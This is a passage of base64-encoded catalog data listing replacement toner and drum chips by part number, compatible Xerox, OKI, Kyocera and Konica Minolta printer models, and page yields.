AAAzMmsIAABDVDM1MDI1MRIAAERQLTIwMi8yMDUvMjU1LzMwNQgAAENUMzUwMjQ1CAAAQ1QzNTAy NjgKAABEUC0yNDAvMzQwCAAAQ1QyMDA0MjURAABEb2N1UHJpbnQtNDA1LzUwNQgAAENUMzUwMzA3 CAAAQ1QyMDEyMjUZAABEb2N1UHJpbnQtNTA2MC80MDYwIEpBUEFOCAAAQ1QzNTA3NjUDAAA1N0sJ AAAxMDZSMDEzNzkYAAgBAFBoYXNlci0zMTAwIFNpbSBDYXJkIGhvdBQACAAJAAAwMTNSMDA2MjUL AABQaGFzZXItMzExOQkAADEwOFIwMDkwOBkACAEAUGhhc2VyLTMxNDAvMzE1NS8zMTYwIGhvdBYA CAAJAAAxMDhSMDA5MDkZAAgBAFBoYXNlci0zMTQwLzMxNTUvMzE2MCBob3QVAAgACQAAMTA4UjAw OTgzEwAAMTA4UjAwOTg0KENXQUEwODA1KQkAADEwOVIwMDc0NgsAAFBoYXNlci0zMTUwCQAAMTA5 UjAwNzQ3CQAAMTA2UjAxMDMzCwAAUGhhc2VyLTM0MjAJAAAxMDZSMDEwMzQJAAAxMDZSMDA2ODgL AABQaGFzZXItMzQ1MAkAADEwNlIwMTE0OAsAAFBoYXNlci0zNTAwCQAAMTA2UjAxMTQ5CQAAMTEz UjAwNzMwDgAAUGhhc2VyLTMyMDBNRlAJAAAxMDZSMDEzNzQLAABQaGFzZXItMzI1MAkAADEwNlIw MTQxMQ4AAFBoYXNlci0zMzAwTUZQCQAAMTA2UjAxNDEyCQAAMTA2UjAxMjQ1CwAAUGhhc2VyLTM0 MjgJAAAxMDZSMDEyNDYJAAAxMDZSMDE0MTULAABQaGFzZXItMzQzNQkAADEwNlIwMTM3MQsAAFBo YXNlci0zNjAwAwAAMTRLCQAAMTA4UjAwNzkzDgAAUGhhc2VyLTM2MzVNRlAJAAAxMDhSMDA3OTQJ AAAxMDhSMDA3OTUJAAAxMDhSMDA3OTYIAABDVDM1MDM3NhQAAERvY3VQcmludCBDMzU0MC8zMTQw CAAAQ1QzNTA0NjIQAABEb2N1UHJpbnQgIEM0MzUwCQAAMTEzUjAwNjU2CwAAUGhhc2VyLTQ1MDAJ AAAxMTNSMDA3MTILAABQaGFzZXItNDUxMAMAADE5SwgAAENUMjAwMzk3HAAARG9jdUNlbnRyZS0x MDU1LzEwODUvMTU1LzE4NREAAENUMjAwNjUzL0NUMjAwMzk4HQAARG9jdUNlbnRyZS0xMDU1LzEw ODUvMTU1LzE4NSACAAA5SwgAAENUMjAwNDAxJwAARG9jdUNlbnRyZS0xNTYvMTg2IERvY3VDZW50 cmUgMTA1NS8xMDg1BQAAMTAuOEsIAABDVDM1MDI4NTIAAERvY3VDZW50cmUtMTU2LzE4NiBEb2N1 Q2VudHJlIDEwNTUvMTA4NSBkcnVtIGNoaXBzAwAANDBLCAAAQ1QyMDA0MTQfAABEb2N1Q2VudHJl LTIzMC8yMzUvMjg1LzM1MC80MDUgAwAAMjVLEQAAQ1QzNTA3NjcvQ1QzNTA1OTMpAABEb2N1Q2Vu dHJlLTIzMC8yMzUvMjg1LzM1MC80MDUgZHJ1bSBjaGlwcwgAAENUMjAwNDE3RQAARG9jdUNlbnRy ZS0yMzYvMjg2LzMzNiBEb2N1Q2VudHJlLWxsICAyMDA1LzIwNTUvMzAwNSBEQy1JSUkgMjAwNy8z MDA3EQAAQ1QzNTAyOTkvQ1QzNTA3NjlPAABEb2N1Q2VudHJlLTIzNi8yODYvMzM2IERvY3VDZW50 cmUtbGwgIDIwMDUvMjA1NS8zMDA1IERDLUlJSSAyMDA3LzMwMDcgZHJ1bSBjaGlwCAAAQ1QzNTAx NTAXAABEb2N1Q2VudHJlIEMyNDAvMzIwLzQwMAMAADM2SwgAAENUMzUwMzUyFwAARG9jdUNlbnRy ZSBDMjUwLzM1MC80NTAIAABDVDIwMDk0My0AAERvY3VDZW50cmUtSUk2MDAwLzcwMDAsIEFwZW9z UG9ydC1JSTYwMDAvNzAwMAMAADc2SwgAAENUMzUwNTc0OAAARG9jdUNlbnRyZS1JSTYwMDAvNzAw MCwgQXBlb3NQb3J0LUlJNjAwMC83MDAwIGRydW0gY2hpcHMEAAAzNTJLCAAAQ1QyMDE2MTAUAABE b2N1Q2VudHJlIFAyMDUvTTIwNQkAADEwNlIwMTA0OA4AAFdvcmtDZW50cmUgTTIwCQAAMDEzUjAw NjAxEAAAV29ya0NlbnRyZSBQRTEyMAkAADAxM1IwMDYwNgkAADAxM1IwMDYyMRAAAFdvcmtDZW50 cmUgUEUyMjAJAAAwMDZSMDEyNzgPAABXb3JrQ2VudHJlIDQxMTgJAAAxMDZSMDE0MTAUAABXb3Jr Q2VudHJlIDQyNTAvNDI2MAkAADEwNlIwMTQwOQkAADExM1IwMDc1NQkAADEwNlIwMTUyOBMACAEA V29ya0NlbnRyZSAzNTUwIGhvdA8ACAAJAAAxMDZSMDE1MjkTAAgBAFdvcmtDZW50cmUgMzU1MCBo b3QQAAgACQAAMTA2UjAxNTMwCQAAMTA2UjAxNTMxCQAAMTA2UjAxNDg1GAAIAQBXb3JrQ2VudHJl IDMyMTAvMzIyMCBob3QUAAgACQAAMTA2UjAxNDg2GQAIAQBXb3JrQ2VudHJlICAzMjEwLzMyMjAg aG90FgAIAAQAADQuMUsJAAAxMDZSMDE0ODcTAAAxMDZSMDE1MDAoQ1dBQTA3NzYpCQAAMDA2UjAx Mjc1DwAAV29ya0NlbnRyZSA0MTUwCQAAMDA2UjAxMjc2CQAAMDEzUjAwNjIzGgAAV29ya0NlbnRy ZSA0MTUwIGRydW0gY2hpcHMDAAA1NUsJAAAxMDZSMDE0MTMPAABXb3JrQ2VudHJlIDUyMjIJAAAx MDZSMDEzMDYZAABXb3JrQ2VudHJlIDUyMjIvNTIyNS81MjMwCQAAMTA2UjAxMzA1CQAAMTAxUjAw NDM0AwAANTBLCQAAMTAxUjAwNDM1CQAAMDA2UjAxMTc5BwAAV0MgTTExOAkAADAwNlIwMTE4NA8A AFdDIE0xMjMvMTI4LzEzMwkAADAwNlIwMTE4MgkAADAxM1IwMDU4OR4AAFdDIE0xMTgvMTIzLzEy OC8xMzMgZHJ1bSBjaGlwcwgAAENUMjAxNzM0EwAAREMtSVYyMDYwLzMwNjAvMzA2NQgAAENUMzUw OTIyHgAAREMtSVYyMDYwLzMwNjAvMzA2NSBkcnVtIGNoaXBzCAAAQ1QyMDE1OTEbAABEb2N1UHJp bnQgQ1AxMDUvQ1AyMDUvQ00yMDUIAABDVDIwMTU5MgQAADEuNGsIAABDVDIwMTU5MwgAAENUMjAx NTk0CAAAQ1QyMDE3NTcYAABEb2N1UHJpbnQgQ1AzMDVkL0NNMzA1ZGYCAAAzawgAAENUMjAxNzU4 CAAAQ1QyMDE3NTkIAABDVDIwMTc2MAgAAENUMjAwNjQ5HwAARG9jdVByaW50IEMyMDkwLERvY3VQ cmludCBDNTI1QQgAAENUMjAwNjUwCAAAQ1QyMDA2NTEIAABDVDIwMDY1MggAAENUMjAxMTE0DwAA RG9jdVByaW50IEMxMTEwCAAAQ1QyMDExMTUIAABDVDIwMTExNggAAENUMjAxMTE3CAAAQ1QyMDEy NjAKAABEUEMtMTE5MEZTCAAAQ1QyMDEyNjEIAABDVDIwMTI2MggAAENUMjAxMjYzCAAAQ1QyMDEy MTMmAABEb2N1Q2VudHJlLUlJSSBDMjIwMC9DMjIwNS9DMzMwMC9DMzMwNQMAADI2SwgAAENUMjAx MjE0CAAAQ1QyMDEyMTUIAABDVDIwMTIxNggAAENUMjAxMTAyCAAAQ1QyMDExMDMIAABDVDIwMTEw NAgAAENUMjAxMTA1CAAAQ1QzNTA3NDgxAABEb2N1Q2VudHJlLUlJSSBDMjIwMC9DMjIwNS9DMzMw MC9DMzMwNSBkcnVtIGNoaXBzAwAAOTFLCAAAQ1QzNTA1OTUIAABDVDIwMTQzNCEAAERvY3VDZW50 cmUtSVYgQzIyNjAvIEMyMjYzLyBDMjI2NQMAADIySwgAAENUMjAxNDM1CAAAQ1QyMDE0MzYIAABD VDIwMTQzNwgAAENUMjAxNDQ0FAAARG9jdUNlbnRyZS1JViBDMjI2MCAIAABDVDIwMTQ0NQgAAENU MjAxNDQ2CAAAQ1QyMDE0NDcRAABDVDM1MDgxOS9DVDM1MDk0NywAAERvY3VDZW50cmUtSVYgQzIy NjAvIEMyMjYzLyBDMjI2NSBkcnVtIGNoaXBzBQAANTMuN0sRAABDVDM1MDgyMC9DVDM1MDk0OBEA AENUMzUwODIxL0NUMzUwOTQ5EQAAQ1QzNTA4MjIvQ1QzNTA5NTAIAABDVDM1MDgyMx8AAERvY3VD ZW50cmUtSVYgQzIyNjAgIGRydW0gY2hpcHMIAABDVDM1MDgyNAgAAENUMzUwODI1CAAAQ1QzNTA4 MjYIAABDVDIwMTY3NhMAAERvY3VDZW50cmUtSVYgQzQ0MzAIAABDVDIwMTY3NwgAAENUMjAxNjc4 CAAAQ1QyMDE2NzkIAABDVDM1MDg5NR4AAERvY3VDZW50cmUtSVYgQzQ0MzAgZHJ1bSBjaGlwcwMA ADQ4SwgAAENUMzUwODk2CAAAQ1QzNTA4OTcIAABDVDM1MDg5OAkAADAwNlIwMTIxOTEAAERvY3VD b2xvciAyNDAvMjQyLzI1MC8yNTIvMjYwL1dvcmtDZW50cmU3NjU1Lzc2NzUJAAAwMDZSMDEyMjI8 AB4gAwAAMzRLCQAAMDA2UjAxMjIxCQAAMDA2UjAxMjIwCAAAQ1QzNTA0ODUWAABEb2N1UHJpbnQg QzIxMDAvMzIxMERYCAAAQ1QzNTA0ODYIAABDVDM1MDQ4NwgAAENUMzUwNDg4CAAAQ1QyMDEzMDMQ AABEb2N1UHJpbnQgIEMyMTIwCAAAQ1QyMDEzMDQIAABDVDIwMTMwNQgAAENUMjAxMzA2CAAAQ1Qz NTA2NzAUAABEb2N1UHJpbnQgQzIyMDAvMzMwMAgAAENUMzUwNjcxCAAAQ1QzNTA2NzIIAABDVDM1 MDY3MwgAAENUMzUwNjc0CQAAQ1QyMzUwNjc1CAAAQ1QzNTA2NzYIAABDVDM1MDY3NwgAAENUMjAx MTI5FgAARG9jdVByaW50ICBDMjI1MC9DMzM2MAgAAENUMjAxMTMwCAAAQ1QyMDExMzEIAABDVDIw MTEzMggAAENUMzUwNjE1IQAARG9jdVByaW50ICBDMjI1MC9DMzM2MCBkcnVtIGNoaXBzCAAAQ1Qy MDExMzMdAABEb2N1UHJpbnQgIEMyMjUwLzMzNjAgTU9ERUwtWAgAAENUMjAxMTM0CAAAQ1QyMDEx MzUIAABDVDIwMTEzNggAAENUMjAxMTYwEAAARG9jdVByaW50ICBDMjI1NQgAAENUMjAxMTYxCAAA Q1QyMDExNjIIAABDVDIwMTE2MwgAAENUMzUwNjU0GwAARG9jdVByaW50ICBDMjI1NSBkcnVtIGNo aXBzCAAAQ1QyMDA2NTUQAABEb2N1UHJpbnQgQzI1MzVBCAAAQ1QyMDA2NTYIAABDVDIwMDY1NwgA AENUMjAwNjU4CAAAQ1QzNTA1NjcRAABEb2N1UHJpbnQgQzMyOTBGUwgAAENUMzUwNTY4CAAAQ1Qz NTA1NjkIAABDVDM1MDU3MAgAAENUMjAxNjg4EQAARG9jdVByaW50IEM1MDAwIGQDAAAyM0sIAABD VDIwMTY4OQgAAENUMjAxNjkwCAAAQ1QyMDE2OTEIAABDVDIwMTY2NBEAAERvY3VQcmludCBDNTAw NSBkCAAAQ1QyMDE2NjUIAABDVDIwMTY2NggAAENUMjAxNjY3CAAAQ1QzNTA4OTQcAABEb2N1UHJp bnQgQzUwMDUgZCBkcnVtIGNoaXBzAwAANzBLCAAAQ1QyMDE2ODAQAABEb2N1UHJpbnQgQ001MDVk CAAAQ1QyMDE2ODEIAABDVDIwMTY4MggAAENUMjAxNjgzCAAAQ1QzNTA4ODkbAABEb2N1UHJpbnQg Q001MDVkIGRydW0gY2hpcHMIAABDVDM1MDkwMAgAAENUMzUwOTAxCAAAQ1QzNTA5MDIJAAAxMDZS MDE2MzAQAABQaGFzZXItNjAwMC82MDEwCQAAMTA2UjAxNjI3CQAAMTA2UjAxNjI4CQAAMTA2UjAx NjI5CQAAMTA2UjAxNjM0CQAAMTA2UjAxNjMxCQAAMTA2UjAxNjMyCQAAMTA2UjAxNjMzCQAAMTA2 UjAxNTk3CwAAUGhhc2VyIDY1MDAJAAAxMDZSMDE1OTQJAAAxMDZSMDE1OTUJAAAxMDZSMDE1OTYJ AAAxMDZSMDE2MDQJAAAxMDZSMDE2MDEJAAAxMDZSMDE2MDIJAAAxMDZSMDE2MDMJAAAxMDZSMDA2 ODQLAABQaGFzZXItNjEwMAkAADEwNlIwMDY4MQkAADEwNlIwMDY4MgkAADEwNlIwMDY4MwkAADEw NlIwMTI3NBMAAFBoYXNlciA2MTEwLzYxMTBNRlAJAAAxMDZSMDEyNzEJAAAxMDZSMDEyNzIJAAAx MDZSMDEyNzMJAAAxMDZSMDE0NjkOAABQaGFzZXItNjEyMU1GUAkAADEwNlIwMTQ2NgkAADEwNlIw MTQ2NwkAADEwNlIwMTQ2OAkAADEwNlIwMTM5MRUAAFhlcm94IFBoYXNlciA2MjgwTi9ETgkAADEw NlIwMTM4OAkAADEwNlIwMTM4OQkAADEwNlIwMTM5MAkAADEwNlIwMTM5NQkAADEwNlIwMTM5MgQA ADUuOUsJAAAxMDZSMDEzOTMJAAAxMDZSMDEzOTQJAAAxMDZSMDE0MzMLAABQaGFzZXItNzUwMAQA ADkuNksJAAAxMDZSMDE0MzQJAAAxMDZSMDE0MzUJAAAxMDZSMDE0MzkFAAAxOS44SwkAADEwNlIw MTQzNgUAADE3LjhLCQAAMTA2UjAxNDM3CQAAMTA2UjAxNDM4CQAAMTA2UjAxNDQ2CQAAMTA2UjAx NDQzCQAAMTA2UjAxNDQ0CQAAMTA2UjAxNDQ1CQAAMTA2UjAwODYxFgAAUGhhc2VyLTc1MDAgZHJ1 bSBjaGlwcwkAADEwNlIwMTE2MyAAAFBoYXNlci03NzYwLzc3NjBETi83NzYwRFgvNzc2MEdYAwAA MzJLCQAAMTA2UjAxMTYwCQAAMTA2UjAxMTYxCQAAMTA2UjAxMTYyCQAAMTA4UjAwNzEzKwAAUGhh c2VyLTc3NjAvNzc2MEROLzc3NjBEWC83NzYwR1ggZHJ1bSBjaGlwcwkAADEwNlIwMTMzNAsAAFBo YXNlciA2MTI1CQAAMTA2UjAxMzMxAgAAMWsJAAAxMDZSMDEzMzIJAAAxMDZSMDEzMzMJAAAxMDZS MDEzMzgJAAAxMDZSMDEzMzUJAAAxMDZSMDEzMzYJAAAxMDZSMDEzMzcJAAAxMDZSMDE0NTULAABQ aGFzZXIgNjEyOAQAADMuMWsJAAAxMDZSMDE0NTIEAAAyLjVrCQAAMTA2UjAxNDUzCQAAMTA2UjAx NDU0CQAAMTA2UjAxNDU5CQAAMTA2UjAxNDU2CQAAMTA2UjAxNDU3CQAAMTA2UjAxNDU4CQAAMTA2 UjAxMjgxCwAAUGhhc2VyIDYxMzAJAAAxMDZSMDEyNzgEAAAxLjlrCQAAMTA2UjAxMjc5CQAAMTA2 UjAxMjgwCQAAMTA2UjAxNDgwCwAAUGhhc2VyIDYxNDAEAAAyLjZrCQAAMTA2UjAxNDc3CQAAMTA2 UjAxNDc4CQAAMTA2UjAxNDc5CQAAMTA2UjAxNDg0CQAAMTA2UjAxNDgxCQAAMTA2UjAxNDgyCQAA MTA2UjAxNDgzCQAAMTEzUjAwNzIyDAAAUGhhc2VyIC02MTgwCQAAMTEzUjAwNzE5CQAAMTEzUjAw NzIwCQAAMTEzUjAwNzIxCQAAMTEzUjAwNzI2AgAAOGsJAAAxMTNSMDA3MjMJAAAxMTNSMDA3MjQJ AAAxMTNSMDA3MjUfAAgCACAgICAgICAgICBTdWl0IGZvciBPS0kgUHJpbnRlciATAAUAFgAGAAgA AEI0MTAvNDMwBAAAQjQzMAIAADdrCgAAQjQ0MDAvNDYwMAUAAEI0NjAwCgAAQjYyMDAvNjMwMAUA AEI2MzAwAwAAMTdrBQAAQjY1MDADAAAxOWsEAABCNzEwCQAIAQBCNzEwIG5ldyEEAAgADgAAIEI0 MTEvQjQzMS80NDETAAgBACBCNDExL0I0MzEvNDQxIG5ldyEOAAgADAAAQzMzMDAvQzM0MDAgDQAA QzMzMDBuL0MzNDAwbgwAAEMzMzAwbi9DMzQwMBcAAEMzMzAwbi9DMzQwMCBkcnVtIGNoaXBzCgAA QzU2MDAvNTcwMAoAAEM1NjUwLzU3NTAFAABDNTgwMAoAAEM1ODAwLzU5MDAUAABDNTgwMC81OTAw IC9DNTUwME1GUAoAAEM1ODUwLzU5NTAKAABDODYwMC84ODAwBgAAQzk2MDBOBQAAQzk2MDAQAABD OTYwMCBkcnVtIGNoaXBzBAAAQzExMA8AAEMxMTAvQzEzMC9NQzE2MAgAAEM3MTAvNzExDQAIAQBD NzEwLzcxMSBuZXchCAAIAAUAADExLjVLBAAAQzgxMAQAAEM4MzAFAABDMzYwMBkAAEMzMzAwLzM0 MDAvMzUyMC8zNTMwLzM2MDAFAABDMzY0MAYAAEVTMzY0MBMAACBFUzIyMzIvMjYzMi81NDYwYSAI AABDMzEwLzMzMBgACAEAQzMxMCxDMzMwLEM1MTAsQzUzMCBuZXchEwAIAAQAAEM5MTAJAAgBAEM5 MTAgbmV3IQQACQATAAgBAEMzMDEsT0tJIEMzMjEgIG5ldyEPAAkABAAAQzQwMRUACAEAQjQwMSBN QjQ0MSBNQjQ1MSBuZXchEAAJAAUAAE1DMzEyGAAIAQBNQzMxMi8zNjIvTUM1MzEvNTUxIG5ldyEU AAkACAAAT0tJIEM2MTAfAAgCACAgICAgIFN1aXQgZm9yIEt5b2NlcmEgUHJpbnRlciAPAAoAFgAL AAcAAFRLLTEzMCAPAABGUy0xMzAwRC8xMzAwRE4EAAA3LjJLBgAAVEstMTM0BgAAVEstMTM3DQAA S00yODEwL0tNMjgyMAQAADcuMmsGAABUSy0xNDAHAABGUy0xMTAwBgAAVEstMTYwHQAARlMtMTEy MCwgRlMxMTIwIEQsIEZTIDExMjAgRE4GAABUSy0xNzAiAABGUy0xMzIwLEZTLTEzMjBELEZTLTEz MjBETixGUy0xMzcwBgAAVEstMzEwGgAARlMtMjAwMC9GUy0yMDAwRC9GUy0yMDAwRE4HAABUSy0z MTIgBwAAVEstMzIwIAkAAEZTLTM5MDBETgcAAFRLLTMyMiAHAABUSy0zMzIgCQAARlMtNDAwMERO BgAAVEstMzQwCAAARlMtMjAyMEQGAABUSy0zNTAJAABGUy0zOTIwRE4GAABUSy0zNTIGAABUSy0z NjAJAABGUy00MDIwRE4HAABUSy00MzUgMwAAVEFTS2FsZmEgMTgwL1RBU0thbGZhIDE4MS9UQVNL YWxmYSAyMjAvVEFTS2FsZmEgMjIxBgAAVEstNDQwCQAARlMtNjk1MEROBgAAVEstNDQ4GQAAVEFT S2FsZmEgMTgwL1RBU0thbGZhIDE4MQUAAFRLNDUwCQAARlMtNjk3MEROBgAAVEstNDU4BgAAVEsg NDc1GgAATWl0YSBGUy02MDI1TUZQL0ZTLTYwMzBNRlADAAAxNWsHAABUSy02NzUgHwAAS00tMjU0 MC9LTS0yNTYwL0tNLTMwNDAvS00tMzA2MAMAADM0awYAAFRLLTcxMA8AAEZTOTEzMEROLzk1MzBE TgYAAFRLLTcxNxAAAEtNMzA1MC80MDUwLzUwNTAHAABUSy03MTUgBQAANDAuOEsGAABUSy03MjUS AABUQVNLYWxmYSA0MjBpLzUyMGkHAABUSy0xMTAwGwAIAQBGUy0xMTEwL0ZTLTEwMjQvMTEyTUZQ IG5ldyEWAAkABwAAVEstMTEwMgcAAFRLLTExMDMHAABUSy0xMTMwJQAIAQBGUy0xMDMwL0ZTLTEw MzBNRlAvRFAvRlMtMTEzME1GUCBuZXchIQAJAAcAAFRLLTExMzIHAABUSy0xMTQwHQAIAQBGUy0x MDM1TUZQL0RQL0ZTLTExMzVNRlAgbmV3IRkACQAGAABUSy01MDAIAABGUy1DNTAxNgMAACA1awcA AFRLLTUwMCADAAAgNGsGAABUSy01MTASAABGUy1DNTAyMC81MDI1LzUwMzADAAA3ayAHAABUSy01 MTAgBgAAVEstNTIwCAAARlMtQzUwMTUDAAAxMmsHAABUSy01MjAgBgAAVEstNTQwCgAARlMtQzUx MDBETggAAFRLLTU0MCAgBgAAVEstNTUwCgAARlMtQzUyMDBETggAAFRLLTU1MCAgBgAAVEstNTYw FQAARlMtQzUzMDBETi9GUy1DNTM1MEROCQAAVEstNTYwICAgCQAAVEstNTcwICAgFQAAICBLeW9j ZXJhIEZTLUM1NDAwIEROBgAAVEstNTgwCgAARlMtQyA1MTUwIAcAAFRLLTU4MCAEAAAyLjhrBgAA VEstNTkwJwAARlMtQzIwMjZNRlAgLyBGUy1DMjEyNk1GUCAvIEZTLUM1MjUwRE4gBAAEEAAAAEI5 MzABAAwAHwA3AAAAAAAAAAAAAQAEEAAAACoBAAwAHwA3AAAAAAAAAAAACwAMAQAQAAAARVM0MTQw IG5ldyEHAAkAAQAMAB8ANwAAAAAAAAAAAAcABBAAAAAgRVM0MTQwAQAMAB8ANwAAAAAAAAAAAAQA AEI0MDEKAAQQAAAAb2tpIEVTNTQzMAEADAAfADcAAAAAAAAA/wAFAABNQzM1MQQABBAAAAAzLjVL AQAMAB8ANwAAAAAAAAAAAAUABBAAAAAySy8zSwEADAAfADcAAAAAAAAAAAAZAAQQAAAATUMzNTEv MzUyLzM2MS8zNjEvNTYxLzU2MgEADAAfADcAAAAAAAAAAAAZAAQQAAAAQzUxMC81MTExLzUzMC81 MzEvNTYxLzU2MgEADAAfADcAAAAAAAAAAAACAAQQAAAANUsBAAwAHwA3AAAAAAAAAAAABAAAQzUx MBEABBAAAABCNDAxL01CNDQxL01CNDUxIAEADAAfADcAAAAAAAAA/wAHAABUSy01OTAgBgAAVEst ODI3LgAAS00tQzI1MjAvIEtNLTI1MjUvIEtNLUMzMjI1L0tNLUMzMjMyLyBLTS1DNDAzNQcAAFRr LTgyNyAKAABUSy04MjgvODI5DwAAIEtNLUMyNTIwIGNoaXAgCAAAVEstODk1ICAdAABLeW9jZXJh IEZTLUM4MDIwTUZQIC84MDI1IE1GUBsAAEt5b2NlcmEgRlMxMTEwLzEwMjQvMTEyNE1GUAcAAFRL LTExMTUaAABLeW9jZXJhIEZTLTEwNDEvRlMtMTIyME1GUAcAAFRLLTExMjUZAABLeW9jZXJhIEZT LTEwNjFETi8xMzI1TUZQBAAAMi4xawcAAFRLLTExMTAfAABLeW9jZXJhIEZTLTEwNDAvMTEyME1G UC8xMDIwTUZQBwAAVEstMTEyMCEAAEt5b2NlcmEgRlMtMTA2MEROLzExMjVNRlAvMTAyNU1GUBcA AEt5b2NlcmEgRlMtMTAzMC8xMTMwTUZQFAAAS3lvY2VyYSBGUy0xMDM1LzExMzUHAABUSy0zMTAw FwAAS3lvY2VyYSBGUy0yMTAwRC8yMTAwRE4GAAAxMi41IEsHAABUSy0zMTEwEQAAS3lvY2VyYSBG Uy00MTAwRE4GAAAxNS41IEsHAABUSy0zMTMwGAAAS3lvY2VyYSBGUy00MjAwRE4vNDMwMEROBwAA VEstNjMwNR0AAEt5b2NlcmEgVEFTS2FsZmEgMzUwMGkvIDQ1MDBpAwAAMzVrIwAIAgAgICAgICAg ICAgU3VpdCBmb3IgTWlub2x0YSBQcmludGVyIBMABQAbAAYAHwAAUGFnZVByby0gOTEwMC9FTEVY VEVDSCBRTVMtOTEwMAcAAEEwRk4wMTIOAABQYWdlUHJvLTQ2NTBFTgcAAEEwRFgwMTIOAABQYWdl UHJvLTU2NTBFTggAADlKMDQyMDNLFAAAS29uaWNhIFBhZ2VQcm8gMTQwMFcdAABwYWdlcHJvIDE0 ODBNRi9wYWdlcHJvIDE0OTBNRgQAADUuNWsUAAAxNzEwNTY3LzE3MTA1NjZfMDAxSygAAEtvbmlj YSBQYWdlUHJvIDEzMDBXLzEzNTBXLzEzODBNRi8xMzkwTUYFAAA2ay8zawUAAFRDLTE2DAAAS29u aWNhIDE2MDBGCwAAMTcxMDQ5Ny0wMDEMAABQYWdlUHJvIDkxMDAGAABBMFYzMDEfAABNYWdpY29s b3IgIDE2MDB3LzE2NTAvMTY4MC8xNjkwBgAAQTBWMzBIBgAAQTBWMzBDBgAAQTBWMzA2BwAAQTBE SzEzMhAAAE1hZ2ljb2xvciA0NjkwTUYHAABBMERLNDMyBwAAQTBESzMzMgcAAEEwREsyMzIHAABE Ui0zMTFLEwAAQklaSFVCIEMyMjAvMjgwLzM2MAcAAERSLTMxMUMHAABEUi0zMTFNBwAARFItMzEx WREAAFROLTIxMEsoODkzOC01MDkpEwAAQklaSFVCIEMyNDAvMjUwLzI1MhEAAFROLTIxMEMoODkz OC01MTIpEQAAVE4tMjEwTSg4OTM4LTUxMSkRAABUTi0yMTBZKDg5MzgtNTEwKREAAElVLTIxMEso NDA2Mi0yMDMpEQAASVUtMjEwQyg0MDYyLTUwMykDAAA0NUsRAABJVS0yMTBNKDQwNjItNDAzKREA AElVLTIxMFkoNDA2Mi0zMDMpCwAAMTcxMDU4N18wMDQ+AAAyNDAwVy8yNTAwVy8yNDMwVy8yNDMw REwvMjQ1ME1GUC8yNDgwTUZQLzI0OTBNRlAvMjUzMERMLzI1NTAgVAQAADQuNWsLAAAxNzEwNTg3 XzAwNwsAADE3MTA1ODdfMDA2CwAAMTcxMDU4N18wMDUIAAA4OTM4XzUwNRgAACBCSVpIVUIgQzI1 MC9DMjUyIFRvbmVyIAgAADg5MzhfNTA4CAAAODkzOF81MDcIAAA4OTM4XzUwNggAADQwNjJfMjAx HAAAQklaSFVCIEMyNTAvQzI1MiAgZHJ1bSBjaGlwcwMAADcwawgAADQwNjJfNTAxAwAANDVrCAAA NDA2Ml80MDEIAAA0MDYyXzMwMQgAADg5MzhfNjEzCwAANzQ1MCBUb25lciAIAAA4OTM4XzYxNggA ADg5MzhfNjE1CAAAODkzOF82MTQHAABBMDZWMTMyEAAANTU1MC81NTcwIFRvbmVyIAcAAEEwNlY0 MzIHAABBMDZWMzMyBwAAQTA2VjIzMgsAADE3MTA2MDJfMDAxEgAANTQ0MERMLzU0NTAgVG9uZXIg CwAAMTcxMDYwMl8wMDQLAAAxNzEwNjAyXzAwMwsAADE3MTA2MDJfMDAyCwAAMTcxMDU4MF8wMDEL AAA1NDMwIFRvbmVyIAsAADE3MTA1ODBfMDA0CwAAMTcxMDU4MF8wMDMLAAAxNzEwNTgwXzAwMggA ADQwNDctNDAzHAAAIEM0NTAvQzM1MC9DMzUxIEltYWdlIFVuaXQgIAgAADQwNDctNzAzAwAANTBr CAAANDA0Ny02MDMIAAA0MDQ3LTUwMwgAADQ1ODdfNDAzGgAAQ0YyMDAyL0NGMzEwMiBJbWFnZSBV bml0ICAIAAA0NTg3XzcwMwgAADQ1ODdfNjAzCAAANDU4N181MDMTAABDRjIyMDMgSW1hZ2UgVW5p dCAgCAAANDA2Ml8yMjEbAABCSVpIVUIgQzMwMC8zNTIgIGRydW0gY2hpcHMIAAA0MDYyXzUyMQgA ADQwNjJfNDIxCAAANDA2Ml8zMjEHAABBMDYwMDNGHwAAQklaSFVCIEM0NTEvNTUwLzY1MCAgZHJ1 bSBjaGlwcwQAADMwMGsHAABBMDYwMEpGBAAAMTAwawcAAEEwNjAwREYHAABBMDYwMDdGCAAANDA2 Ml8yMTERAAA3NDUwIEltYWdlIFVuaXQgIAgAADQwNjJfNTExAwAAMzBrCAAANDA2Ml80MTEIAAA0 MDYyXzMxMQcAAEEwMzEwMEYWAAA1NTUwLzU1NzAgSW1hZ2UgVW5pdCAgBwAAQTAzMTBHRgcAAEEw MzEwQUYHAABBMDMxMDVGCwAAQTBESyAxODEgIEshAABtYWdpY29sb3IgNDY1MEVOL21hZ2ljb2xv ciA0NjUwRE4KAABBMERLIDI4MSBZCgAAQTBESyAzODEgTQoAAEEwREsgNDgxIEMLAABBMERLIDE4 MiAgSwoAAEEwREsgMjgyIFkKAABBMERLIDM4MiBNCgAAQTBESyA0ODIgQwsAAEEwVjMwMU4gICBL QgAAbWFnaWNvbG9yIDE2MDBXL21hZ2ljb2xvciAxNjUwRU4vbWFnaWNvbG9yIDE2OTBNRi9tYWdp Y29sb3IgMTY4ME1GCgAAQTBWMzBHTiAgQwQAADEsNWsKAABBMFYzMEFOICBNCgAAQTBWMzA1TiAg WQUAAFRONjEzFAAAIEJpemh1YiBDNDUyLzU1Mi82NTIFAABJVTIxMRsAAEJJWkhVQiBDMjAzLzI1 MyAgZHJ1bSBjaGlwcwMAADU1awYAAFROMjEzSxkAAEJJWkhVQiBDMjAzLzI1MyAgVG9uZXIgICAD AAAyNGsGAABUTjIxM0MGAABUTjIxM00GAABUTjIxM1kFAABJVTIxMhgAAEJJWkhVQiBDMjAwICAg ZHJ1bSBjaGlwcwYAAFROMjE0SxUAAEJJWkhVQiBDMjAwICBUb25lciAgIAYAAFROMjE0QwUAADE4 LjVLBgAAVE4yMTRNBgAAVE4yMTRZBQAASVUzMTMYAABCSVpIVUIgQzM1MyAgIGRydW0gY2hpcHME AAAxMjBLAwAAOTBLBgAAVE4zMTRLFQAAQklaSFVCIEMzNTMgIFRvbmVyICAgBgAAVE4zMTRDBgAA VE4zMTRNBgAAVE4zMTRZBwAAQTBXRzAxSBEAAE1hZ2ljb2xvciAzNzMwICAgBwAAQTBXRzBISAcA AEEwV0cwQ0gHAABBMFdHMDZIBwAAQTBXRzAySAcAAEEwV0cwSkgHAABBMFdHMERIBwAAQTBXRzA3 SBMAAE1pbm8gQzM3MzBLKFVTQSxUVykTAABNaW5vIEMzNzMwQyhVU0EsVFcpEwAATWlubyBDMzcz 